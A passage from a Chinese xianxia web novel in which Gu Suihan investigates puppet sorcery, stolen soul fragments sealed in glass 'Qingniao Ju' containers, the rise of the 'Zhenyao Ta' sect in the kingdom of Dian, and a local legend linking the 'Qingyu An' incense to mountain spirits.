可不知为何,姬漓心中仍然有种隐隐的执念。尽管韩玉青的这具躯壳已然成了个没了芯的绣花枕头,但她还是想让那双失了神采的眼睛看到自己功成名就的那一天。
那双眼睛曾经饱含-着笑意将无助的她拥入怀中,也曾冷冷地看着她衣衫凌乱地哭叫求饶。而现在,这双眼睛将看着她踩着他的后背登上她此生梦绕之地,登上那无数人为之跪伏的王座。
姬漓将韩玉青离开时虚掩上的门完全打开,沿着盘旋的楼梯一步步向下走。
楼梯两侧的墙壁上开凿了无数蜂窝一样的孔洞,每一个孔洞里都放着一个小小的琉璃盒。有的琉璃盒是空的,有的琉璃盒里则有一团小小的、跳跃着的火苗。这些磷火般的微光连成一片,镶嵌在无尽的黑色墙壁间,竟有一种夜空般无垠的美感。
就当她路过一个小盒时,那盒子里的火苗忽然发了狂似的,用力撞击着琉璃盒的内壁,带着整个盒子一起“咔哒”“咔哒”地跳动。
姬漓漫不经心地看了它一眼,伸手拿起了盒子,随手将盒子的盖子打开。盒里的火苗见状抓住机会,从姬漓的指缝逃也似的窜了出去,却在离盒子不到一尺的地方撞到了虚空中无形的障壁,晕头转向地被姬漓捉住了。
姬漓半低着头,似笑非笑地看着掌心里瑟瑟发-抖的小魂火:“怎么,旧地方住腻了?”
小魂火发-抖的频率明显提升了。
“但我这里地方有限,没有给你挑的余地了。”姬漓状似发愁地谈了口气,有模有样地歪着头,“那可怎么办呢?”
她松开了手。小小的魂火怀着最后的希望拼命地试图挣脱她的掌控,却屡屡碰壁。
姬漓俯视着它在这人为的方寸囹圄之间绝望地挣-扎,咯咯笑着叹了口气。
“没关系,天地之间总归比我这‘青鸟居’更加广阔。你……”
这便是小魂火“听见”的最后一句话了。
下一刻,原本在琉璃盒“青鸟居”外一尺见方的空间陡然压缩,小魂火连着琉璃盒一起被压做了飞灰!
这无根的魂灵还没来得及发出一声无声的尖叫,就悄无声息地消失在了天地之间。
捏碎了这作乱的魂灵,姬漓拍掉了手上沾染的浮灰,静静地看着这面墙上其他的魂火们。
“我不知道是谁挑唆了它,叫它生出这样忤逆的想法。”姬漓冷冷地捏了捏自己手指上的关节,“这次我不会追究,但你们也都记住了,这‘青鸟居’一旦进了,就别想出去。少做无谓的事,不然它的下场就是你们的下场。”
满墙魂火一时都静默了下去,连光芒都比之前微弱了。姬漓威胁完
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,有些发愁地看着原本放着那魂飞魄散的小魂火的地方:“空出来了……这可怎么办才好呢?”
“啊,对了,”她仿佛灵光一现似的,从怀里掏出了个小小的琉璃球,里面的两团魂火互相缠绕。她将琉璃球捏碎,用指尖将两团魂火引出来分开,把其中的一个关进了新的琉璃盒中,住进了那空出来的“房间”里。
完成这一切之后,姬漓愣怔怔地看着另一个依偎着自己指尖的魂火,那眼神说不上是羡慕还是怨恨。良久,她眼中翻涌的诸多情绪尘埃落地,化为了一种更为绵长的思念。
“算了,”她说,“尘归尘,土归土。阿姐……”
她一扬手,那小小的光点像只振翅的青鸟,飞向塔外广阔的天地。
“……我们来世再会吧。”
与此同时,锦官城的落棋阁分舵。
从韩府离开后,顾岁寒一行人按照原本的计划,从总舵的缩地千里阵出发,先到西南落棋阁分舵落脚,先去韩玉青外放的州府查查“青玉案”的线索,再从西南万千大山中取道越过滇盛两国边境,深-入滇国寻访傀儡术的源头,顺路查找姬漓和韩玉青的下落。
这种长途旅行用的缩地千里阵与宋安澜架在总舵和自己府中方便顾岁寒偷懒的那个不一样,后者虽然担了个“缩地千里”的名头,本质上只是将周围的草木灵气化为阵法所用,而木难生灵,所以它们的灵气也有限,只能用于相当短距离的传送,偶尔还会掉链子——顾岁寒就曾经莫名其妙地掉在别人家房顶上过。
所以严格来说,宋安澜架的那个叫“缩地十里”。
但顾岁寒他们去分舵时用的缩地千里阵不同,这套阵法由当年的无有大师所画,是真真正正架在地脉上的传送阵。阵法的存在更像一条小舟,载着使用者沿着地脉航行。
不知为何,近些年地脉灵气渐渐衰微,缩地千里阵也不如以前快捷,一次能通过的人也大大减少,但总归比宋安澜那个缩地十里靠谱。为保稳妥,姬昀和落棋阁那两个嘴上没毛的小黑棋起阵先行,顾岁寒“押着”谢停舟断后。
姬昀进阵之后,顾岁寒数了两柱香时间,保证对面肯定到了分舵,才和换了套干净衣服的谢停舟一同出发。不得不说,沿着地脉旅行的感觉确乎十分神奇,周围的景物化作了虚影,从两边飞速掠过。但不知为何,顾岁寒看着两侧的山水,莫名有种头晕脑胀的感觉。
“幸好早上没吃什么东西。”她心说,“不然我吐-出来就完了……话说吐到地脉上会发生什么?”
这个问题恐怕没人尝试过寻找答案。顾岁寒瞥了一眼旁边的谢停舟,发现他神色如常,看上去似乎并没有被这过于迅疾的旅行所影响。
顾岁寒愤愤然地嫉妒了一下对方的体质,随后毫不在意似的撇开了头。
这趟旅途的结束比她想象中快得多。顾岁寒大概在心里数了大半柱香的时间,前方就忽然出现了一个发着白光的圆洞。两人速度太快,几乎是被地脉从那圆洞里甩了出去。这感觉叫顾岁寒差点以为自己是坐着船从瀑布上掉了下去。
但白光闪过,她发现自己已然脚踏实地,只是身体还有种在高速前行的错觉。她还没来得及回味这次“缩地千里”,便看到陈二娘大呼小叫地跑了上来。
“谢、谢将军!”
她偏头一看,刚刚还没事人似的谢停舟忽然脸色一白,就这么手捂着胸口直挺挺地跪了下去。
随后,他像是再也支撑不住了似的,颓然倒在了地上。颈间挂着的琉璃球随着他的动作从领子里滚了出来。
里面空空如也。
45. 西江月 五
姬昀快步走了过来,蹲下来查看谢停舟的情况,顺口问顾岁寒:“他这是怎么了?”
顾岁寒自己都摸不着头脑,顺着姬昀的动作也蹲了下来,有些手足无措地在旁边看着:“他刚刚还好好的来着……”
姬昀将谢停舟放平,嘱咐端木昂和陈二娘两人:“叫分舵的医修过来看看。”
等医修过来的功夫,姬昀也没闲着,上上下下把谢停舟身上能检查的地方都检查了个遍,还把他的眼皮翻开看了看。顾岁寒还是有点在意他那个忽然空了的琉璃球,绕过围着谢停舟左右移动的姬昀,把他脖子里的那根项链挑出来放在手上细细端详。
这琉璃球看上去没什么特殊的,表面也没有裂纹,那两缕魂魄到底是为什么能被关在里面,又是为什么现在不见了呢?
姬昀注意到她动作,问:“这球怎么了吗?”
“你不知道?”顾岁寒小小吃了一惊,随后将谢停舟同他说的这球的来由同姬昀原原本本地讲述了一遍。姬昀听后久久不能回神:“这,这也太荒唐了……”
说话间,分舵的医修也过来了。领头的是个头发胡子都花白了的老翁,指挥着手下的徒弟们用术法将昏迷不醒的谢停舟用术法抬起来。姬昀顺着站起身,跟在这群医修后面,同顾岁寒低声说:“这俩人居然想到互换一部分魂魄……实在是疯了。但这不是重点,现在的问题是,我觉得他的症状和之前在上林苑昏倒的那群人有些相像。”
“什么?”事关重大,顾岁寒也跟着压低了声音,“你的意思是……他也被下了傀儡术?可……他行动如常,而且他本来就是魂修方面的半个大师,要是他被下了傀儡术而不自知,那别人……”
那别人岂不是防不胜防了?
姬昀摇摇头,用手比划了一下胸口的地方:“我怀疑问题出在他取出去的那两缕魂魄碎片上。魂灵想要在长时间离开肉身后不消散,只有两个方法——要么依附在另一具有特殊缘分的肉身上,要么就关在‘青鸟居’里。”
“青鸟……什么?”
“青鸟居。”这段时间的相处已经让姬昀习惯了把顾岁寒当做半个术法白-痴对待,“这是滇国一种经过特殊处理的琉璃,据说在炼制过程中要混合象族高僧的骨灰才能起作用……简而言之,你可以把它制成的容器理解成某种魂魄的‘监牢’,魂魄进入并封印后,很难再出来。”
“‘很难’?”顾岁寒敏感地注意到他的用词,“也就是说,也不是完全没办法?”
“我没亲眼见过,只是听说。”姬昀谨慎道,“只要将魂魄取出的人自身在魂修上的造诣远高于封印者,就可以将魂魄神不知鬼不觉地偷走,你可以把青鸟居理解为某种增强封印者对魂魄控制力的法器……当然,据说封印者死亡后,受他控制的所有青鸟居也会随之崩解。”
“那,”顾岁寒看着医修们把谢停舟抬进了医寮,停住了脚步,“你的意思是,有一个能力远高于谢停舟的魂修,从他身上偷走了他放在青鸟居的魂魄碎片,还……控制了这片魂魄?”
一个小小的光点从分舵的围墙上飞了进来,悄悄地落在了顾岁寒远离姬昀这边的肩膀上。但由于在视觉的死角处,再加上天光正盛,没人注意到这小小的插曲。
“很有可能。”姬昀没有把话说死,但他和顾岁寒彼此之间心里都清楚应该是八-九不离十了,“可……如果只是一部分魂魄的话,别人很难通过这片魂魄对魂魄的主人产生很大的影响。更何况这片魂魄长期和阿泠在一起,和停舟的联系应该已经很薄弱了。”
“之前在上林苑里昏倒的那些人,除了身上已经产生木偶纹的,基本都已经醒了。我找了对这方面比较了解的修士探了探醒来的人的内府,他们的魂魄基本都是完整的,也几乎没有被外界控制的痕迹。我猜这些人都是被傀儡术影响程度还不深的人。”医寮里的人出来把门关上,姬昀看着门上的牌匾,叹了口气,“希望停舟也是这样……希望一切都还来得及。”
顾岁寒跟姬昀盯着同一个地方,沉默半晌没说话。停在她肩膀上的光点似乎有什么犹豫,围着她那侧的手臂飞了一圈,最后下定了决心似的,一头扎进了她的锁骨。
“你现在是怎么打算的……唉,梅臣?”
顾岁寒忽然像是站不稳似的,捂着头踉踉跄跄地后退了一步。姬昀吓了一-大跳,差点以为顾岁寒犯了和谢停舟一样的病症,连忙上前一步扶住了她。好在顾岁寒就退了这一步,很快就站稳了脚跟,轻轻推开了姬昀的帮扶:“没事……我就是忽然晕了一下。”
姬昀猜测:“是因为没吃早饭没力气了吗?咱们走得确实有些着急。”
这简直是无稽之谈。顾岁寒再怎么气血不足,本质上也是个已经辟了谷的修士,吃饭对她而言更多的是走流程而非必须,怎么会因为区区一顿早饭没吃就失了力?
顾岁寒没反驳,含混地点了点头:“我还是打算先去韩玉青之前外放的地方看看。应该用不了很久,两三天吧,看看有没有韩玉青和姬漓的线索。”
姬昀忧心忡忡地看了她一眼:“好。我要先回军中了,离人久了也不行。停舟不在,你带好那两个黑棋,南疆山水复杂,能人异士众多,千万保重。停舟这边要是有什么变化,托个黑棋给我捎信即可。”
之前姬昀一直对顾岁寒而言更多是个礼貌有余亲近不足的角色,两人的连结完全靠宋安澜在中间递话。他突然这么关心,顾岁寒还有些不适应,好在姬昀似乎也只是惯常性地叮嘱一句,没指望着顾岁寒回应,匆匆行礼作别后便火急火燎地从分舵的正门走了。
顾岁寒若有所思地看着他的背影消失在门口。心里没个主意的端木昂和陈二娘两人怯怯地走到她身后:“执棋?”
顾岁寒被他俩叫回了神:“……嗯?咱们先去找分舵负责的人问问情况。”
驻守此地的负责人名叫凤彩珠,黑棋出身,名字很绚烂,人也泼辣,和宋安澜想必会聊得来。顾岁寒之前猜测姬漓和韩玉青离开临安后,应该会往自己更加熟悉的南疆走,因而早早就联系了凤彩珠叫她多多留意。
这个时候,负责人恐怕还在监督白棋们练早功。顾岁寒向路过的医修打听了分舵校场的位置,便带着自己的两条小尾巴往校场走去。
果不其然,校场的高台上,一个瘦高的身影正在领着下面的人做早功收尾的拉伸。凤彩珠显然比顾岁寒这半个病秧子勤快很多,这种活顾岁寒一般是丢给大管家蒋奚帮忙。
见她在忙活,顾岁寒几人便远远停住了脚没有上前打扰。但凤彩珠明显看到了他们一行人,将最后几个动作潦草地画了一遍,就纵身跳了下来,快步走到顾岁寒面前就要单膝跪下行礼。
顾岁寒吓了一-大跳,将凤彩珠跪下前就架着她双臂把她扶了起来:“这么隆重做什么,我就是借道你这里,顺便问问有没有傀儡术一行人的线索,又不是来巡查你是不是尽职尽责的。”
凤彩珠冲她一笑,露出一口整洁的白牙:“执棋夺剑之功,落棋阁人人敬仰,哪怕如今您不是我的上峰,也是受得起这一跪的。”
说话间,凤彩珠注意到她带的两个人,在看向陈二娘时微微挑了下眉。陈二娘注意到了她的眼神,惴惴地后退了半步。
她俩之间的暗潮汹涌只要是个眼睛没瞎的都看得出来。顾岁寒没料到这俩人还是老相识,但也不打算在这时候花时间细究,右移了半步挡住了两人间的视线,冲着凤彩珠道:“之前麻烦你的事,查得怎么样了?”
凤彩珠收回了目光,爽快道:“跟我来。”
三人随着凤彩珠在分舵林立的房舍间七绕八拐,最后走到了一处不打眼的屋子前。凤彩珠一边开屋门上的封印一边道:“执棋见谅,自打之前阁里自查查到小七这个叛徒,我就把书房换了个地方。这样万一挑唆小七的人偷偷来
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阁中,也不知道最重要的书房究竟在何处。”
术法流动的声音响起,门缓缓打开了。四人鱼贯而入,凤彩珠一挥手把里面的灯烛点起来,快步走到自己的桌边,摊开已经准备好了的地图:“之前韩贼自临安叛走之后,执棋就传信来叫我们多留意周围有没有韩玉青的踪迹。今天需要找的目标又加了个姬漓。”
剩余三人的目光随着她的指尖重重落在了锦官城西南‘芜宁府’的位置:“执棋叫我多留意韩贼曾经任职的芜宁府,我便多点了几个人在那里守株待兔。果不其然,前日清晨,一个形迹可疑的男人悄悄进了城门,径直去了城里的香阁。”
顾岁寒想起丹桂同自己说的“青玉案”的来历,敏感道:“香阁?叫什么名字?”
“青鸟坊。”凤彩然麻利道,“但奇怪的是,韩玉青一进香阁,就没再出来。我们的人在外面等了半晌才意识到不对,派了个人装作客人进去转了一圈,没有见到他的人影。香阁的后院不许进,为此我们的人差点和里面的香女动手。”
“其实可以直接动手的。”顾岁寒插嘴,“你们已经打草惊蛇了,多打还是少打没什么区别。”
“是。”凤彩珠干脆利落地低头认错,“分舵这边的黑棋还是比较稚嫩,我会教训他们的。”
“韩玉青的线索到这里就断了,那姬漓呢?一点都没有?”
凤彩珠摇头。这个结果顾岁寒不算意外,倘若姬漓不是用常规的手段离开的,那他们这群人也抓不到她的尾巴;倘若她是用肉-体凡胎的手段逃出临安的,那目前应该还没走出总舵的布线范围,也轮不到凤彩珠这边管。顾岁寒问:“还有吗?”
“有的。此事说来比较巧合,从前年春天开始,我们的人在滇国的玄蝶部族那边发现了一个叫‘镇妖塔’的组织。”凤彩珠在滇国腹部的位置大致画了个圈,“我们在滇国布线很稀疏,这个‘镇妖塔’又隐蔽,我们发现它的时候,它已然十分壮大了。”
顾岁寒追问:“有多壮大?”
“它几乎代替了滇国国主的位置,很多部族转而向它顶礼膜拜。”说起这,凤彩珠面色也有些不好看,“我们最开始还以为,它就像落棋阁之于朝廷一般,是滇国国主的附庸,没想到事实几乎是反过来的。据滇国王庭中的探子来报,滇国国主给镇妖塔献过很大一批贡礼。”
“滇国这妖修之国,境内的组织却叫镇妖塔?”一直在旁边看着的端木昂忍不住插嘴。凤彩珠瞥了他一眼:“对。有线索标明,这个镇妖塔的主人应该不是妖修。”
顾岁寒对这镇妖塔背后的主人隐隐有了些猜测:“那这么一个凭空冒出来的非妖修统领的镇妖塔,是怎么服众的呢?这么大的事,你们没有告知总舵吗?”
要知道滇国的国主是禅让制,继承人要在众部族间有相当高的威望才可以。这么个地里冒出来,名字还起得相当嚣张的镇妖塔何德何能?
“我们原本不知道。镇妖塔的事也在整合后递交给了当时的张大人。”
这里的张大人说的是当时还是执棋的张首晟,顾岁寒想起总舵藏书阁里姬泠那句意味不明的批注,挑了下眉,没接话。
阁里建成后的事记顾岁寒醒来后都看过,但其中并没有镇妖塔的戏份,说明阁里当时对这个新兴的势力并不重视……或许其中不包括莫名其妙换了自己批注姬泠。
一些原本似是而非的猜测开始在顾岁寒的脑海里缓缓连点成线。
凤彩珠没注意到她神色变动,继续往下说:“大人回复说让我们‘多加留意’,我们在玄蝶族的那条线上多加了几个人。那镇妖塔兴盛了几个月,但在去年夏至之后,它忽然一落千丈,一时之间消息全无,今年年初才冬眠初醒似的有了动静。”
去年夏至到今年年初,好巧不巧几乎是姬泠接任执棋到去世这段时间。相隔千里的两个看似毫不相关的人和事,似乎有了些隐秘的牵连。
46. 西江月 六
凤彩珠说完之后,见顾岁寒久久未发声,一副若有所思的样子,便问道:“怎么了?”
顾岁寒本来想说说她的推测,但话到舌尖上又咽了回去,摇了摇头:“没什么,你继续说。”
目前这些还都是她的猜测,而且还涉及姬泠案最本质的部分。倘若她的推测成立,那很有可能能替姬泠翻案。
最大的问题还是缺乏实证。在最后的结果十拿九稳之前,她不想把这件事四处宣扬。
凤彩珠看了她一眼:“嗯……然后四月时,有一个一直负责在玄蝶族和分舵间传信的黑棋忽然消失了,过了大半个月才回来。可是他人虽然还‘活着’,命灯却已经灭了。”
“命灯”是每个落棋阁弟子出师后都会有的一个小法器。弟子向命灯中的符纸滴入自己的心头血,这命灯便会同法器的魂魄相连,命灯亮则魂魄完好,命灯灭则意味着此人已然身死魂消。
但这命灯有些鸡肋的地方在于,有时候会有人身死后执念太强,魂魄不灭的情况,这命灯的明灭便不准,因而只能当个参考。
可无论如何,除非这命灯的符咒被人篡改了,否则不会出现人还活着,命灯却灭了的情况。这时便只剩下了一种可能——这弟子的魂魄固然还存在,但命灯联系不上了。
凤彩珠当即令人扣押下了这个黑棋,正准备细细查探时,这黑棋在牢中莫名一命呜呼了。
顾岁寒想起来之前的陈筑,沉吟道:“现在看来,这恐怕是傀儡术背后之人……姬漓的惯用手段。”
“是,当时我们还没把这件事和傀儡术链接起来,只好当个糊涂案没头没尾地结了。”凤彩珠点头,“直到前些日子傀儡术的事情被发现,阁里人人自危,有人才想起来了这件事。”
顾岁寒缓缓点了点头:“嗯。目前傀儡术的原理我们一应不了解,在此之前,诸位还是要提高警惕。”
凤彩珠道:“这是自然,现在每个棋子回分舵之后都要由魂修查验魂魄,没有问题才让放行。短时间内,镇妖塔的手伸不到阁里来。”
“这样自然是最好。”顾岁寒叹了口气,看向了遥远的南方,“……希望如此吧。”
从凤彩珠的书房里出来,顾岁寒本来想去医寮那边看看谢停舟的情况,没想到凤彩珠又忽然追了出来:“执棋!”
顾岁寒停住脚步:“怎得?”
凤彩珠停在她面前,小声道:“其实现在我回忆起来,去年年底被揭发出来有异心的小七,和他联络的人很有可能也和镇妖塔有关系。”
顾岁寒记得小八和自己说过的小七的事,没想到这小七和现下的事还有关联:“此话怎讲?”
“他与滇国那个策反他的人是用信件联系的,所有信都被他阅后销毁了,但为了日后和‘那边’联系,小七留了个玉佩当信物。这玉佩也正是我们最终给他定罪的理由。”凤彩珠用手比划了一下玉佩的大小,“那玉佩现在在库房里封存着,一时半会拿不出来,我给您描述一下,那玉佩雕的是朵夹竹桃。”
“执棋不了解玄蝶一族的习性,可能不太清楚。玄蝶一族十分奇特,有公无母,只能通过与青斑蝶□□才能生出玄蝶后代,雌青斑蝶也因此在玄蝶族中有着至高无上的地位。而青斑蝶最喜欢以夹竹桃类的植株为食。”
“当然,”看顾岁寒面露迟疑,凤彩珠连忙解释道,“其实滇国不少地方都种有夹竹桃,这也只是我的一个猜测。当时策反小七的神秘人一直与小七是单向联系,小七也不太清楚对方的身份,所以我们至今都无法确定。”
顾岁寒记下了这条线索,点点头:“我记下了,这些我会多多留意的。”
“嗯。”凤彩珠深深地看了她一眼,肃然拱手行了个礼,“执棋,一路保重。”
“别这么郑重,”顾岁寒哭笑不得地拍了拍她的肩膀,“我又不是去英勇就义了,我还想等忙完手头的事找个山清水秀的地方好好修养呢。不用送了,我去看看谢将军的情况就出发去芜宁。”
凤彩珠依言往回走,却也忧心忡忡地一步三回头。顾岁寒冲她挥了挥手叫她忙自己的去,才结束了这段小插曲,带着手下两人继续往药寮的方向走。
路上,端木昂忽然凑了上来,有些谄媚道:“执棋恐怕不知道,这凤彩珠当年也做过姬泠的学生,当初姬泠出事时,她跳得最欢,没想到现在对执棋也是俯首帖耳。”
顾岁寒差点没弄明白这其中的关系:“她做过姬泠的学生与她现在支持我,有什么矛盾的地方吗?”
后面一直在听他们讲话的陈二娘微微一抖,端木昂不屑地瞥了她一眼,才道:“当初姬泠出事,您又领命夺回碎曦剑,一时间阁里尘嚣甚重,说什么的都有,就这凤彩珠最为偏激,虽然人在分舵,可我们总舵的都知道她放话说姬泠一事就是您为了夺得执棋一位的阴谋……”
顾岁寒万万没想到还有这一茬:“啊?”
这时,一直忍气吞声的陈二娘终于憋不住了,小声辩解道:“彩珠不是这样的……”
端木昂顿时拔高了声音:“二娘!你为她辩护作甚!当初她不是还说你背信弃义,姬泠明明对你有恩,你还对她落难袖手旁观!”
顾岁寒:“啊?”
陈二娘本来胆子就不大,被端木昂这么一说更是把头埋得更低了。端木昂顿时扬眉吐气:“凤彩珠和陈二娘本来是同一年出师的黑棋,两人同受过姬泠的教导。二娘当初在大比上被姬泠救了一命,这凤彩珠更是不一般,她当初可是指明挑战的姬泠,甚至在姬泠手下走过了整整九九八十一招呢!”
陈二娘忍不住道:“彩珠和姬泠师姐互相欣赏,所以……”
“所以她俩在阁里互为密友。”端木昂接话,“可要我说,哪怕关系再好,也不能因此毁坏她人名声啊!虽说当时阁里人都知道执棋和姬泠之间只能有一人登上高位,但我等都明白二人关系极好,虽有竞争,也不妨碍二人友谊……”
“等等,”顾岁寒越听越觉得荒谬,“我那时在北周,阿泠在青州分舵,你们在临安是怎么知道我们关系极好的?”
按照宋安澜暗示的意思,自己担任“姬泠成长路上的心魔”长达二十余年,跟对方喉咙里的鱼刺没什么大区别,这群外人是怎么看出来她们关系好的?
端木昂嚷嚷:“此事阁里人人皆知啊!当时执棋所有的消息都要经姬泠的手才能递到张执棋手上,张执棋每次批阅时,执棋的消息必然在最上面,而且往往最为详尽;执棋要是有了什么危险,姬泠也第一时间递传信符上来请求总舵批准派人协助回护;哪怕是姬泠后来深陷囹圄,都向先帝再三叩请让执棋出手夺剑
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,主持大局呢!”
顾岁寒没忍住心说这夺碎曦剑的活又不是什么香饽饽,但还是没忍住承认倘若端木昂这话属实,那姬泠确乎也是个公私分明的好人。陈二娘听他说完,才开口补充:“当时彩珠也只是一时间情急……”
端木昂:“情急便能对执棋那样诋毁了吗!”
“好了,”顾岁寒感觉端木昂这逮着人拍马屁的习惯算是没救了,开口制止了这场闹剧,“端木昂,这件事我心里有数,你适可而止,不得对分舵舵主不敬。”
端木昂咕咕哝哝地闭嘴了。陈二娘抬眼看了她一眼,顾岁寒给她递了个安抚的眼神,才转身继续向前走。
凤彩珠的事她心里有数,要她说端木昂纯粹就是喜欢把事情夸大了说。从今天凤彩珠的表现看,她很可能就是那种比较有“江湖气”的人,这种人交友看重性格投契,崇拜别人的侠义侠行,对认定了的朋友也是两肋插刀,容易热血上头。这种人在那时干出端木昂所谓的“对她不敬”的事也不奇怪。
不得不说,她挺喜欢这类人的——心思简单,对谁好对谁坏一目了然,不像宋安澜那样操心的事多,也不想谢停舟这种被礼义廉耻绑结实了的人那样内秀,如果成了朋友大概会是件很幸福的事。
后面立场不同的两人还在互相递眼神暗中吵架,顾岁寒这边却是已经走到了医寮门口。在门边煎药的医修认出了她,忙起身开门带她进去:“谢将军的情况我们检查了,除了之前就少掉的那块魂魄没有别的问题,我师父也来看过了,他的魂魄和肉身目前没有被别的力量控制的痕迹,应当没有大碍,很快便能醒来。”
顾岁寒走到床边看了一眼昏迷的谢停舟。不得不说,此人生得白净,五官也秀丽,闭上眼睛活脱脱一位貌比潘安的美男子。看他确实没什么大事,顾岁寒点点头,吩咐那医修:“他要是在我不在时醒来了,你就同他说,我去芜宁府查青玉案的事了,很快便回。他醒后你托你们舵主给姬将军捎个信,也让他安心。”
那医修一一点头应承下来。顾岁寒往外走去,忽然又想起来了什么,叮嘱道:“对了,这两天靠近谢停舟的人都要仔仔细细地搜身查验,魂魄有异的不许靠近,听明白了吗?”
医修应“是”,顾岁寒这才放心下来。几人走出医寮,陈二娘小声问:“执棋如此吩咐,是担心镇妖塔的人趁虚而入,对谢将军的魂魄再做些什么吗?”
顾岁寒惊讶地看了她一眼,陈二娘好不容易攒起来的勇气在这一眼下差点烟消云散,却听顾岁寒道:“挺聪明的嘛,我就是这个意思。”
陈二娘抬眼看向她,便听得她说:“我不知道镇妖塔偷走他和姬泠的那点魂魄碎片是要干什么,但既然姬漓费了这功夫,就不会是无的放矢。眼下来看,傀儡术控制的人的魂魄越多,傀儡术对这个人的影响也就越大,我多防一手,也没什么不好。”
陈二娘练练点头。顾岁寒说完,莫名觉得自己的锁骨处有些发热,便摸上那出按了按。
可姬漓把她姐的魂魄一道顺走干什么呢?顾岁寒想不通。
倘若她没猜错,所谓姬泠一案,自始至终都是姬漓这个亲妹妹的手笔。
正如她和姬昀说时推测的那样,姬泠放在书房里的那几封所谓“通敌信”,自始至终就是针对姬漓设下的圈套。
47. 相见时难 一
姬泠恐怕是通过什么蛛丝马迹怀疑到姬漓身上了。那封信便是她试探姬漓的手段。
她应该没想到姬漓在整个镇妖塔中蛊母般的地位,而是怀疑姬漓里通外国。她着意让姬漓看到了那封写有落棋阁真实地址的信件,再根据姬漓接下来的表现来验证自己猜测的真实性。
没想到姬漓最后却借那封信反压一招,将姬泠推入了万劫不复。
可这里头还有一些关节说不通。如果只是为了试探的话,姬泠交出去的底牌还是太大了。落棋阁的具体位置太重要了,少了这一环,沈和正那老头压根没办法直接捅到总舵去。
也正是这个具体的位置,将姬泠,还有当时几乎所有在总舵的人送下了地狱。
姬泠当真是这么草率的一个人吗?
顾岁寒想不通,恨不得把姬泠从坟里刨出来问问这堪称脑袋被水淹了的决定究竟怎么想的。
而镇妖塔在南盛的第一剑便斩向了姬泠,作为她的亲妹妹,镇妖塔的管理者姬漓又是怎么想的呢?
谢停舟描述中一片和乐的生日宴上,真的像表面看上去那样宾主尽欢吗?
顾岁寒晃了晃头。这种事情猜测也没有意义,不如把姬漓自己抓回来问问靠谱。她定了定神,道:“走,去芜宁。”
芜宁距锦官五十余里,仅靠几个黑棋提着气轻功赶路过去还是有些吃力。端木昂和陈二娘这俩小弟子也没有练了御剑的,万般无奈之下,顾岁寒管凤彩珠借了三匹马。
三个人骑马进城太过显眼,于是顾岁寒在半路勒马,把马拴在了城外十里的驿站里,赁了一间屋子换上普通的衣服。三人扮作行走江湖人士,徒步进了芜宁城。
芜宁不及锦官繁华,但城里百姓其乐融融、安居乐业,一副安然治世之景。顾岁寒提前找凤彩珠要了城里的地图,但没急着直接去探青鸟坊,而是在附近找了个抄手摊坐了下来,一人点了一碗鲜香麻辣的红油抄手。
等抄手煮好的间隙,隔着大半条街,顾岁寒暗中观察那处挂着“青鸟坊”的小楼。这声名在外的香阁此刻却是门可罗雀,门口迎宾的小童十分无聊,用木棍在门口的沙地上写写画画。
顾岁寒看了一会,没看出来什么端倪,收回了目光,正好撞上了抄手摊老板有些瑟缩的眼神。为了显得“江湖游侠”这个身份更加真实,几个人都把兵器放在了明面上。顾岁寒的那把“展锋”哪怕不出鞘都有一股古拙而沉重的杀意,没人敢靠近。那老板给他们端碗时都有些哆哆嗦嗦的:“几,几位大侠,你们的抄手好了……”
“老板,”顾岁寒和颜悦色地打断了他,“我等此次来,是久闻你城中青鸟坊成香盛名,想给我家大小姐带些回去。可我看如今这青鸟坊门庭凋敝,似乎并无生意,这是什么缘故?”
“啊,”听说了他们的真实来意,这老板顿时松了口气,“几位初来乍到,恐怕不知,这青鸟坊当初成名,便是因为我们这上一位知府,韩大人,他的夫人十分喜欢青鸟坊中的‘采莲’这一味香,于是妇人们纷纷效仿,这才使得青鸟坊生意兴隆。”
“可前些天临安传来消息,韩大人居然是个对陛下有异心的小人,而且这青鸟坊前两天还闹出来过疑似窝藏人犯的事,我们便都不敢光顾这儿了。”
顾岁寒心说这才哪到哪,过两天你们还会听说姬漓也不是什么好鸟呢。端木昂从他俩的对话里发现了表现自己的机会,迅速换上了一副“可惜了”的神情:“啊,我家大小姐久闻这青鸟坊的‘青玉案’盛名,没想到它居然不是这香阁的招牌么?”
这老板听见“青玉案”的名字之后,神色几变:“这……这青玉案,要是给了你家小姐,恐怕不妥。”
顾岁寒事先猜测过这“青玉案”中肯定有鬼,但没料到普通百姓竟也知道其中玄机,颇为意外:“此话怎讲?”
老板支吾半晌,似乎有什么难言之隐。顾岁寒见状,拿出一锭银子放在桌上,悄声道:“大哥,您行行好,我家大小姐可是指明了要这香的,我们几个跑腿的,总不能给大小姐带了个祸患回去不是?”
老板看着银锭,神色松动了些许,犹豫了片刻才把银锭塞进腰间。他收了银子,却还是不急着说,已经有些浑浊了的双眼四下环顾了一圈,才谨慎地开了口:“我们这里都传言,这‘青玉案’,可是会招山鬼的呀!”
三人对视了一眼。顾岁寒第一次听到这种说法,和之前自己的猜测大不相同:“山鬼?”
“对,山鬼。”老板咽了口口水,声音压得更低了,“我们这里山多水多,年年都要祭山神,祈祷来年风调雨顺,五谷丰登。我们这里的山神叫‘姑善’,据说居住在最高的慈川山中。”
慈川山得名于山中流出来的罗江河。此山坐落于芜宁的西边,不仅高,山中植被也茂密,堪称遮天蔽日,因而进去很容易迷路。除非是有经验的山民,否则一般人都不敢单独进山。
不过,尽管见不到“山神”,但芜宁关于山神的传说可不少。不少世代居住于山脚下的村民都说自己亲眼见过“山神”现世,连山神长什么样穿什么颜色的衣服都说得有头有脸。芜宁在山神的庇佑下,和和乐乐了数百年。
可就在不到十年前的一个春天,一直慈爱而平和地照顾着此地百姓的罗江忽然决堤改道,淹死城中无数百姓。重新建好了新堤坝后,时任知府韩玉青提议,此次决堤或是山神发怒,不如组织大祭一次。
而所谓“青玉案”,其实是韩玉青为了那次祭礼特意吩咐青鸟坊按照古方配的敬神香。
“古方?”听到这里,顾岁寒没忍住打断道,“哪里来的古方?”
“据说是府衙里找出来的一本县志上记载的,”抄手摊老板摇了摇头,“我也不识字,不明白这些。但总而言之,他们都说那次祭礼按照古礼操办,十分隆重。”
可这场繁琐而郑重的祭祀,最终似乎并没有获得预想中的好效果。
按照县志中的记载,祭礼行到献贡果这一步时,山神就会出现,拿走贡果,并向百姓撒下福泽。可那日韩玉青捧着装满蒴果的青铜盘在烈日中国站了许久,都没能等来山神现世。
更诡异的事还在后面。
祭礼完成之后,不少原本见过“山神”的村民在进山时都见到了山里的“黑影”。起先,这些黑影只是从远处一闪而过,并不会靠近,很多人都以为是自己眼花,将树藤之类看作了人形。
